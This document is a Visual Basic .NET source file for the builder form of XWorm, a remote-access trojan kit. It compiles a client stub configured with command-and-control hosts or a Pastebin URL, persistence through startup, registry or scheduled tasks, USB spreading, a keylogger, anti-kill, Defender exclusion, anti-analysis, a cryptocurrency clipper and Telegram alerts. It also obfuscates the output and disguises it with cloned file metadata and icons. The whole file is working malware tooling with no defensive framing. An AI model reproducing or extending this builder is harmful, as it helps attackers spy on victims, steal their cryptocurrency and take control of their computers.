Imports System.CodeDom.Compiler
Imports System.IO
Imports System.Security.Cryptography
Imports System.Text
Imports Microsoft.VisualBasic.CompilerServices

Public Class Builder

    Public Sub New()
        InitializeComponent()
        Opacity = 0
        FadeIn(Me, 20)
    End Sub

    Public iconpath As String
    Public assm As String

    Public xform As Boolean = False
    Public xform2 As Boolean = False

    Public Botid As String
    Public BotToken As String

    Public BTC As String
    Public ETH As String
    Public TRC20 As String

    Private Sub Builder_Load(sender As Object, e As EventArgs) Handles MyBase.Load
        Try

            If My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Assembly", Nothing) = Nothing Or My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Assembly", Nothing) = "False" Then
                assm = Nothing
                Guna2CheckBox1.Checked = False
            Else
                assm = My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Assembly", Nothing)
                xform = True
                Guna2CheckBox1.Checked = True
            End If



            If My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Icon", Nothing) = Nothing Or My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Icon", Nothing) = "False" Then
                iconpath = Nothing
                Guna2CheckBox2.Checked = False
                PictureBox1.Image = Nothing
            Else
                iconpath = My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Icon", Nothing)
                xform2 = True
                Guna2CheckBox2.Checked = True
                PictureBox1.ImageLocation = (iconpath)
            End If


            If My.Computer.Registry.GetValue(SettingsHelper.RegSave, "InstallDir", Nothing) = Nothing Or My.Computer.Registry.GetValue(SettingsHelper.RegSave, "InstallDir", Nothing) = "False" Then
                Guna2ComboBox2.Enabled = False
                Guna2TextBox5.Enabled = False
                Guna2ComboBox2.SelectedIndex = 0
            Else
                Guna2ComboBox2.SelectedIndex = Convert.ToInt32(My.Computer.Registry.GetValue(SettingsHelper.RegSave, "InstallDir", Nothing))
                Guna2ComboBox2.Enabled = True
                Guna2TextBox5.Enabled = True
            End If



            If Not My.Computer.Registry.GetValue(SettingsHelper.RegSave, "InstallStr", Nothing) = Nothing Then
                Guna2TextBox5.Text = My.Computer.Registry.GetValue(SettingsHelper.RegSave, "InstallStr", Nothing)
            End If


            If My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Clipper", Nothing) = Nothing Or My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Clipper", Nothing) = "False" Then
                Guna2ToggleSwitch6.Checked = False
            Else
                BTC = My.Computer.Registry.GetValue(SettingsHelper.RegSave, "BTC", Nothing)
                ETH = My.Computer.Registry.GetValue(SettingsHelper.RegSave, "ETH", Nothing)
                TRC20 = My.Computer.Registry.GetValue(SettingsHelper.RegSave, "TRC20", Nothing)
                Guna2ToggleSwitch6.Checked = True
            End If





            If My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Keylogger", Nothing) = "True" Then
                Guna2ToggleSwitch2.Checked = True

            Else
                Guna2ToggleSwitch2.Checked = False
            End If


            If My.Computer.Registry.GetValue(SettingsHelper.RegSave, "AntiKill", Nothing) = "True" Then
                Guna2ToggleSwitch3.Checked = True

            Else
                Guna2ToggleSwitch3.Checked = False
            End If

            If My.Computer.Registry.GetValue(SettingsHelper.RegSave, "WDEX", Nothing) = "True" Then
                Guna2ToggleSwitch4.Checked = True

            Else
                Guna2ToggleSwitch4.Checked = False
            End If


            If My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Obfuscator", Nothing) = "True" Then
                Guna2CheckBox4.Checked = True

            Else
                Guna2CheckBox4.Checked = False
            End If

            If My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Startup", Nothing) = "True" Then
                Guna2CheckBox6.Checked = True

            Else
                Guna2CheckBox6.Checked = False
            End If


            If My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Reg", Nothing) = "True" Then
                Guna2CheckBox5.Checked = True
            Else
                Guna2CheckBox5.Checked = False
            End If


            If My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Task", Nothing) = "True" Then
                Guna2CheckBox7.Checked = True
            Else
                Guna2CheckBox7.Checked = False
            End If


            If My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Analysis", Nothing) = "True" Then
                Guna2ToggleSwitch1.Checked = True
            Else
                Guna2ToggleSwitch1.Checked = False
            End If


            If My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Hosts", Nothing) = Nothing Then
                ListBox1.Items.Add("127.0.0.1")
            Else
                Dim Hosts As String = My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Hosts", Nothing)
                For Each SPL In Strings.Split(Hosts, ",")
                    If Not String.IsNullOrEmpty(SPL) Then
                        ListBox1.Items.Add(SPL)
                    End If
                Next
            End If


            If Not My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Port", Nothing) = Nothing Then
                Guna2TextBox3.Text = My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Port", Nothing)
            End If


            If Not My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Key", Nothing) = Nothing Then
                Guna2TextBox1.Text = My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Key", Nothing)
            End If

            If Not My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Group", Nothing) = Nothing Then
                Guna2TextBox7.Text = My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Group", Nothing)
            End If


            If Not My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Url", Nothing) = Nothing Then
                Guna2TextBox4.Text = My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Url", Nothing)
            End If


            If Not My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Sleep", Nothing) = Nothing Then
                Guna2NumericUpDown1.Value = Convert.ToInt32(My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Sleep", Nothing))
            End If


            If My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Pastebin", Nothing) = "True" Then

                Guna2TextBox2.Enabled = False
                ListBox1.Enabled = False

                Guna2TextBox3.Enabled = False
                Guna2CheckBox3.Checked = True
                Guna2TextBox4.Enabled = True
            Else
                Guna2TextBox2.Enabled = True
                ListBox1.Enabled = True


                Guna2TextBox3.Enabled = True

                Guna2CheckBox3.Checked = False
                Guna2TextBox4.Enabled = False
            End If


            If Not My.Computer.Registry.GetValue(SettingsHelper.RegSave, "USBN", Nothing) = Nothing Then
                Guna2TextBox6.Text = My.Computer.Registry.GetValue(SettingsHelper.RegSave, "USBN", Nothing)
            End If


            If My.Computer.Registry.GetValue(SettingsHelper.RegSave, "USBE", Nothing) = "True" Then
                Guna2CheckBox8.Checked = True
                Guna2TextBox6.Enabled = True
            Else
                Guna2CheckBox8.Checked = False
                Guna2TextBox6.Enabled = False
            End If

        Catch ex As Exception
            Debug.WriteLine(ex.Message)
        End Try
    End Sub

    Public Sub Compiler(ByVal Path As String, ByVal Code As String)
        Try
            Dim providerOptions = New Collections.Generic.Dictionary(Of String, String)
            providerOptions.Add("CompilerVersion", "v4.0")
            Dim CodeProvider As New Microsoft.VisualBasic.VBCodeProvider(providerOptions)
            Dim Parameters As New CompilerParameters
            Dim OP As String = " /target:winexe /platform:anycpu /nowarn"
            With Parameters
                .GenerateExecutable = True
                .OutputAssembly = Path
                .CompilerOptions = OP
                .IncludeDebugInformation = False
                .ReferencedAssemblies.Add("System.Windows.Forms.dll")
                .ReferencedAssemblies.Add("System.dll")
                .ReferencedAssemblies.Add("Microsoft.VisualBasic.dll")
                .ReferencedAssemblies.Add("System.Management.dll")
                .ReferencedAssemblies.Add("System.Drawing.dll")
                .ReferencedAssemblies.Add("System.Core.dll")

                Dim Results = CodeProvider.CompileAssemblyFromSource(Parameters, Code)
                If Results.Errors.Count > 0 Then
                    For Each E In Results.Errors
                        MsgBox(E.ErrorText, MsgBoxStyle.Critical)
                        Exit Sub
                    Next
                End If
            End With

            If Guna2CheckBox2.Checked = True Then
                IconInjector.InjectIcon(Path, iconpath)
            End If

            If Guna2CheckBox4.Checked = True Then
                Debug.WriteLine(SimpleObfuscator.Obfuscator.Save(IO.File.ReadAllBytes(Path), Path))
            End If

            GC.Collect()

            Dim myFile As New FileInfo(Path)


            Dim finalPath As String = Path

            Hide()
        Catch ex As Exception
            MessageBox.Show(ex.Message)
        End Try
    End Sub

    Public Function Encrypt(ByVal input As String, ByVal Pass As String)
        Dim AES As New RijndaelManaged
        Dim Hash_AES As New MD5CryptoServiceProvider
        Dim encrypted As String = ""
        Dim hash(31) As Byte
        Dim temp As Byte() = Hash_AES.ComputeHash(SBUTF8(Pass))
        Array.Copy(temp, 0, hash, 0, 16)
        Array.Copy(temp, 0, hash, 15, 16)
        AES.Key = hash
        AES.Mode = CipherMode.ECB
        Dim DESEncrypter As ICryptoTransform = AES.CreateEncryptor
        Dim Buffer As Byte() = SBUTF8(input)
        encrypted = Convert.ToBase64String(DESEncrypter.TransformFinalBlock(Buffer, 0, Buffer.Length))
        Return encrypted
    End Function
    Private Function SBUTF8(ByVal s As String) As Byte()
        Return System.Text.Encoding.UTF8.GetBytes(s)
    End Function

    Private Sub Guna2CheckBox8_CheckedChanged(sender As Object, e As EventArgs) Handles Guna2CheckBox8.CheckedChanged
        If Guna2CheckBox8.Checked = True Then
            Guna2TextBox6.Enabled = True
        Else
            Guna2TextBox6.Enabled = False
        End If
    End Sub

    Private Sub Guna2CheckBox2_CheckedChanged(sender As Object, e As EventArgs) Handles Guna2CheckBox2.CheckedChanged

        If xform2 = True Then
            xform2 = False
            Return
        End If

        If Guna2CheckBox2.Checked = True Then
            Dim OfD As New OpenFileDialog
            With OfD
                .Filter = "(*.exe;*.ico;)|*.exe;*.ico"
                .InitialDirectory = Application.StartupPath & "\Icons"
                If OfD.ShowDialog() = DialogResult.OK Then
                    If OfD.FileName.EndsWith(".exe") Then
                        iconpath = GetIcon(OfD.FileName)
                        PictureBox1.ImageLocation = (iconpath)
                        GC.Collect()
                    Else
                        iconpath = OfD.FileName
                        PictureBox1.ImageLocation = (iconpath)
                    End If

                Else
                    iconpath = Nothing
                    PictureBox1.Image = Nothing
                    Guna2CheckBox2.Checked = False
                End If

            End With


        End If
        If Guna2CheckBox2.Checked = False Then
            iconpath = Nothing
            PictureBox1.Image = Nothing
            Guna2CheckBox2.Checked = False
        End If
    End Sub
    Private Sub Guna2CheckBox1_CheckedChanged(sender As Object, e As EventArgs) Handles Guna2CheckBox1.CheckedChanged

        If xform = True Then
            xform = False
            Return
        End If

        If Guna2CheckBox1.Checked = True Then
            Dim OfD As New OpenFileDialog
            With OfD
                .Filter = "(*.exe|*.exe"
                If OfD.ShowDialog() = DialogResult.OK Then
                    assm = OfD.FileName
                    Guna2CheckBox1.Checked = True
                Else
                    assm = Nothing
                    Guna2CheckBox1.Checked = False
                End If
            End With


        End If
        If Guna2CheckBox1.Checked = False Then
            assm = Nothing
            Guna2CheckBox1.Checked = False
        End If

    End Sub

    Private Sub Guna2CheckBox3_CheckedChanged(sender As Object, e As EventArgs) Handles Guna2CheckBox3.CheckedChanged
        If Guna2CheckBox3.Checked = True Then
            Guna2TextBox2.Enabled = False
            ListBox1.Enabled = False

            Guna2TextBox3.Enabled = False

            Guna2TextBox4.Enabled = True
        Else
            Guna2TextBox2.Enabled = True
            ListBox1.Enabled = True

            Guna2TextBox3.Enabled = True

            Guna2TextBox4.Enabled = False
        End If
    End Sub

    Private Sub Guna2TextBox1_TextChanged(sender As Object, e As EventArgs) Handles Guna2TextBox1.TextChanged
        Try
            If Guna2TextBox1.Text.Length > 32 Or ((Guna2TextBox1.Text.Length) < 1) Then
                Guna2GradientButton1.Enabled = False
            Else
                Guna2GradientButton1.Enabled = True
            End If
        Catch ex As Exception
            Guna2GradientButton1.Enabled = False
        End Try
    End Sub

    Private Sub Guna2TextBox2_KeyDown(sender As Object, e As KeyEventArgs) Handles Guna2TextBox2.KeyDown
        Try
            If e.KeyCode = Keys.Enter Then
                e.SuppressKeyPress = True

                If Not String.IsNullOrEmpty(Guna2TextBox2.Text) Then
                    If Not ListBox1.Items.Contains(Guna2TextBox2.Text) OrElse String.IsNullOrEmpty(Guna2TextBox2.Text) Then
                        ListBox1.Items.Add(Guna2TextBox2.Text)
                        Guna2TextBox2.Clear()
                    End If
                End If

            End If
        Catch ex As Exception
            Debug.WriteLine(ex.Message)
        End Try
    End Sub

    Private Sub Guna2TextBox3_TextChanged(sender As Object, e As EventArgs) Handles Guna2TextBox3.TextChanged
        Try
            Dim num As Integer = Conversions.ToInteger(Guna2TextBox3.Text)
            If ((Conversions.ToInteger(Guna2TextBox3.Text) > &HFFFE) Or (Conversions.ToInteger(Guna2TextBox3.Text) < 1)) Then
                Guna2GradientButton1.Enabled = False
            Else
                Guna2GradientButton1.Enabled = True
            End If
        Catch exception1 As Exception
            Guna2GradientButton1.Enabled = False
        End Try
    End Sub

    Private Sub Guna2CheckBox6_CheckedChanged(sender As Object, e As EventArgs) Handles Guna2CheckBox6.CheckedChanged
        If Guna2CheckBox6.Checked Or Guna2CheckBox5.Checked Or Guna2CheckBox7.Checked Then
            Guna2ComboBox2.Enabled = True
            Guna2TextBox5.Enabled = True
        Else
            Guna2ComboBox2.Enabled = False
            Guna2TextBox5.Enabled = False
        End If
    End Sub

    Private Sub Guna2CheckBox5_CheckedChanged(sender As Object, e As EventArgs) Handles Guna2CheckBox5.CheckedChanged
        If Guna2CheckBox5.Checked Or Guna2CheckBox6.Checked Or Guna2CheckBox7.Checked Then
            Guna2ComboBox2.Enabled = True
            Guna2TextBox5.Enabled = True
        Else
            Guna2ComboBox2.Enabled = False
            Guna2TextBox5.Enabled = False
        End If
    End Sub

    Private Sub Guna2CheckBox7_CheckedChanged(sender As Object, e As EventArgs) Handles Guna2CheckBox7.CheckedChanged
        If Guna2CheckBox7.Checked Or Guna2CheckBox6.Checked Or Guna2CheckBox5.Checked Then
            Guna2ComboBox2.Enabled = True
            Guna2TextBox5.Enabled = True
        Else
            Guna2ComboBox2.Enabled = False
            Guna2TextBox5.Enabled = False
        End If
    End Sub

    Private Sub Guna2GradientButton1_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton1.Click

        If ListBox1.Items.Count > 0 Or Guna2CheckBox3.Checked = True Then

            Dim Str As String = ""

            Try
                Dim saveFileDialog As SaveFileDialog = New SaveFileDialog With {
           .Filter = "(*.exe)|*.exe",
           .OverwritePrompt = False,
           .FileName = "XWormClient.exe"
             }

                If saveFileDialog.ShowDialog() = DialogResult.OK Then
                    Try

                        If ListBox1.Items.Count > 0 Then
                            For Each Hosts In ListBox1.Items
                                Str &= Hosts & ","
                            Next

                            My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Hosts", Str)
                        End If

                        My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Port", Guna2TextBox3.Text)
                        My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Key", Guna2TextBox1.Text)
                        My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Group", Guna2TextBox7.Text)
                        My.Computer.Registry.SetValue(SettingsHelper.RegSave, "USBN", Guna2TextBox6.Text)
                        My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Url", Guna2TextBox4.Text)
                        My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Sleep", Guna2NumericUpDown1.Value.ToString)

                        If Guna2CheckBox6.Checked = True Then
                            My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Startup", "True")
                        Else
                            My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Startup", "False")
                        End If



                        If Guna2CheckBox5.Checked = True Then
                            My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Reg", "True")
                        Else
                            My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Reg", "False")
                        End If


                        If Guna2CheckBox7.Checked = True Then
                            My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Task", "True")
                        Else
                            My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Task", "False")
                        End If



                        If Guna2CheckBox6.Checked Or Guna2CheckBox5.Checked Or Guna2CheckBox7.Checked Then
                            My.Computer.Registry.SetValue(SettingsHelper.RegSave, "InstallDir", Guna2ComboBox2.SelectedIndex.ToString)
                        Else
                            My.Computer.Registry.SetValue(SettingsHelper.RegSave, "InstallDir", "False")
                        End If
                        My.Computer.Registry.SetValue(SettingsHelper.RegSave, "InstallStr", Guna2TextBox5.Text)

                        If Guna2ToggleSwitch1.Checked = True Then
                            My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Analysis", "True")
                        Else
                            My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Analysis", "False")
                        End If

                        If Guna2CheckBox8.Checked = True Then
                            My.Computer.Registry.SetValue(SettingsHelper.RegSave, "USBE", "True")
                        Else
                            My.Computer.Registry.SetValue(SettingsHelper.RegSave, "USBE", "False")
                        End If






                        If assm = Nothing Then
                            My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Assembly", "False")
                        Else
                            My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Assembly", assm)
                        End If





                        If iconpath = Nothing Then
                            My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Icon", "False")
                        Else
                            My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Icon", iconpath)
                        End If



                        If Guna2ToggleSwitch6.Checked Then
                            My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Clipper", "True")
                            My.Computer.Registry.SetValue(SettingsHelper.RegSave, "BTC", BTC)
                            My.Computer.Registry.SetValue(SettingsHelper.RegSave, "ETH", ETH)
                            My.Computer.Registry.SetValue(SettingsHelper.RegSave, "TRC20", TRC20)
                        Else
                            My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Clipper", "False")
                        End If



                        If Guna2ToggleSwitch5.Checked Then
                            My.Computer.Registry.SetValue(SettingsHelper.RegSave, "TBotNotify", "True")
                            My.Computer.Registry.SetValue(SettingsHelper.RegSave, "BotToken", BotToken)
                            My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Botid", Botid)
                        Else
                            My.Computer.Registry.SetValue(SettingsHelper.RegSave, "TBotNotify", "False")
                        End If




                        If Guna2CheckBox3.Checked = True Then
                            My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Pastebin", "True")
                        Else
                            My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Pastebin", "False")
                        End If


                        If Guna2ToggleSwitch2.Checked = True Then
                            My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Keylogger", "True")
                        Else
                            My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Keylogger", "False")
                        End If


                        If Guna2ToggleSwitch3.Checked = True Then
                            My.Computer.Registry.SetValue(SettingsHelper.RegSave, "AntiKill", "True")
                        Else
                            My.Computer.Registry.SetValue(SettingsHelper.RegSave, "AntiKill", "False")
                        End If

                        If Guna2ToggleSwitch4.Checked = True Then
                            My.Computer.Registry.SetValue(SettingsHelper.RegSave, "WDEX", "True")
                        Else
                            My.Computer.Registry.SetValue(SettingsHelper.RegSave, "WDEX", "False")
                        End If


                        If Guna2CheckBox4.Checked = True Then
                            My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Obfuscator", "True")
                        Else
                            My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Obfuscator", "False")
                        End If

                    Catch ex As Exception
                        Debug.WriteLine(ex.Message)
                    End Try


                    Dim Source = My.Resources.Stub
                    Dim validchars As String = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"
                    Dim sb As New StringBuilder()
                    Dim rand As New Random()
                    For i As Integer = 1 To 16
                        Dim idx As Integer = rand.Next(0, validchars.Length)
                        Dim randomChar As Char = validchars(idx)
                        sb.Append(randomChar)
                    Next i

                    Dim randomString = sb.ToString()

                    Source = Source.Replace("%Mutex%", randomString)

                    Source = Source.Replace("%USB%", Encrypt(Guna2TextBox6.Text, randomString))


                    If Guna2CheckBox3.Checked = True Then
                        Source = Replace(Source, "#Const Pastebin = False", "#Const Pastebin = True")
                        Source = Source.Replace("%PasteUrl%", Encrypt(Guna2TextBox4.Text, randomString))
                    Else
                        Source = Source.Replace("%Hosts%", Encrypt(Str.Trim().Substring(0, Str.Length - 1), randomString))
                        Source = Source.Replace("%Port%", Encrypt(Guna2TextBox3.Text, randomString))
                    End If


                    Source = Source.Replace("%KEY%", Encrypt(Guna2TextBox1.Text, randomString))

                    Source = Source.Replace("%Group%", Encrypt(Guna2TextBox7.Text, randomString))

                    Source = Source.Replace("%SPL%", Encrypt("<XWormmm>", randomString))

                    Source = Source.Replace("%Sleep%", Guna2NumericUpDown1.Value.ToString)




                    If Guna2CheckBox8.Checked = True Then
                        Source = Replace(Source, "#Const USBLNK = False", "#Const USBLNK = True")
                    End If

                    If Guna2CheckBox6.Checked = True Then
                        Source = Replace(Source, "#Const Startup = False", "#Const Startup = True")
                    End If

                    If Guna2CheckBox7.Checked = True Then
                        Source = Replace(Source, "#Const Schtasks = False", "#Const Schtasks = True")
                    End If

                    If Guna2CheckBox5.Checked = True Then
                        Source = Replace(Source, "#Const RegAdd = False", "#Const RegAdd = True")
                    End If

                    If Guna2ToggleSwitch1.Checked = True Then
                        Source = Replace(Source, "#Const Analysis = False", "#Const Analysis = True")
                    End If


                    If Guna2CheckBox6.Checked Or Guna2CheckBox5.Checked Or Guna2CheckBox7.Checked Then
                        Source = Replace(Source, "%Path%", Encrypt(Guna2ComboBox2.Text, randomString))
                        Source = Replace(Source, "%Name%", Encrypt(Guna2TextBox5.Text, randomString))
                    End If


                    If Guna2ToggleSwitch6.Checked = True Then
                        Source = Replace(Source, "#Const Clipper = False", "#Const Clipper = True")
                        Source = Replace(Source, "%BTC%", Encrypt(BTC, randomString))
                        Source = Replace(Source, "%ETH%", Encrypt(ETH, randomString))
                        Source = Replace(Source, "%Trc20%", Encrypt(TRC20, randomString))
                    End If


                    If Guna2ToggleSwitch5.Checked = True Then
                        Source = Replace(Source, "#Const TelegramBot = False", "#Const TelegramBot = True")
                        Source = Replace(Source, "%Token%", Encrypt(BotToken, randomString))
                        Source = Replace(Source, "%ChatID%", Encrypt(Botid, randomString))
                    End If




                    If Guna2ToggleSwitch2.Checked = True Then
                        Source = Replace(Source, "#Const Logger = False", "#Const Logger = True")
                    End If



                    If Guna2ToggleSwitch3.Checked = True Then
                        Source = Replace(Source, "#Const BDOS = False", "#Const BDOS = True")
                    End If


                    If Guna2ToggleSwitch4.Checked = True Then
                        Source = Replace(Source, "#Const WDEX = False", "#Const WDEX = True")
                    End If




                    If Guna2CheckBox1.Checked Then
                        Dim info As FileVersionInfo = FileVersionInfo.GetVersionInfo(assm)


                        Source = Replace(Source, "%Title%", info.FileDescription)
                        Source = Replace(Source, "%Des%", info.Comments)
                        Source = Replace(Source, "%Company%", info.CompanyName)
                        Source = Replace(Source, "%Product%", info.ProductName)
                        Source = Replace(Source, "%Copyright%", info.LegalCopyright)
                        Source = Replace(Source, "%Trademark%", info.LegalTrademarks)
                        Source = Replace(Source, "%Guid%", Guid.NewGuid.ToString)


                        Source = Source.Replace("%v1%", info.FileMajorPart.ToString())
                        Source = Source.Replace("%v2%", info.FileMinorPart.ToString())
                        Source = Source.Replace("%v3%", info.FileBuildPart.ToString())
                        Source = Source.Replace("%v4%", info.FilePrivatePart.ToString())

                    Else

                        Source = Replace(Source, "%Title%", Nothing)
                        Source = Replace(Source, "%Des%", Nothing)
                        Source = Replace(Source, "%Company%", Nothing)
                        Source = Replace(Source, "%Product%", Nothing)
                        Source = Replace(Source, "%Copyright%", Nothing)
                        Source = Replace(Source, "%Trademark%", Nothing)
                        Source = Replace(Source, "%Guid%", Guid.NewGuid.ToString)


                        Source = Source.Replace("%v1%", 1)
                        Source = Source.Replace("%v2%", 0)
                        Source = Source.Replace("%v3%", 0)
                        Source = Source.Replace("%v4%", 0)
                    End If

                    Compiler(saveFileDialog.FileName, Source)
                End If
            Catch ex As Exception
            End Try
        End If
    End Sub

    Private Sub Guna2ToggleSwitch5_MouseClick(sender As Object, e As MouseEventArgs) Handles Guna2ToggleSwitch5.MouseClick

        If Guna2ToggleSwitch5.Checked = True Then
            Using form As TabNotify = New TBotNotify
                form.StartPosition = FormStartPosition.Manual
                form.StartPosition = FormStartPosition.CenterParent
                If form.ShowDialog() = DialogResult.OK Then
                    BotToken = form.Guna2TextBox1.Text
                    Botid = form.Guna2TextBox2.Text
                Else
                    Guna2ToggleSwitch5.Checked = False
                    BotToken = Nothing
                    Botid = Nothing
                End If
            End Using
        End If

    End Sub

    Private Sub Guna2ToggleSwitch6_MouseClick(sender As Object, e As MouseEventArgs) Handles Guna2ToggleSwitch6.MouseClick
        If Guna2ToggleSwitch6.Checked = True Then
            Using form As Clipper = New Clipper
                form.StartPosition = FormStartPosition.Manual
                form.StartPosition = FormStartPosition.CenterParent
                If form.ShowDialog() = DialogResult.OK Then
                    BTC = form.Guna2TextBox1.Text
                    ETH = form.Guna2TextBox2.Text
                    TRC20 = form.Guna2TextBox3.Text
                Else
                    Guna2ToggleSwitch6.Checked = False
                    BTC = Nothing
                    ETH = Nothing
                    TRC20 = Nothing
                End If
            End Using
        End If
    End Sub

    Private Sub Guna2TextBox2_IconRightClick(sender As Object, e As EventArgs) Handles Guna2TextBox2.IconRightClick
        Try
            If Not String.IsNullOrEmpty(Guna2TextBox2.Text) Then
                If Not ListBox1.Items.Contains(Guna2TextBox2.Text) Then
                    ListBox1.Items.Add(Guna2TextBox2.Text)
                    Guna2TextBox2.Clear()
                End If
            End If
        Catch ex As Exception
            Debug.WriteLine(ex.Message)
        End Try
    End Sub

    Private Sub Guna2TextBox2_IconLeftClick(sender As Object, e As EventArgs) Handles Guna2TextBox2.IconLeftClick
        Try
            ListBox1.Items.Remove(ListBox1.SelectedItem)
        Catch ex As Exception
            Debug.WriteLine(ex.Message)
        End Try
    End Sub
End Class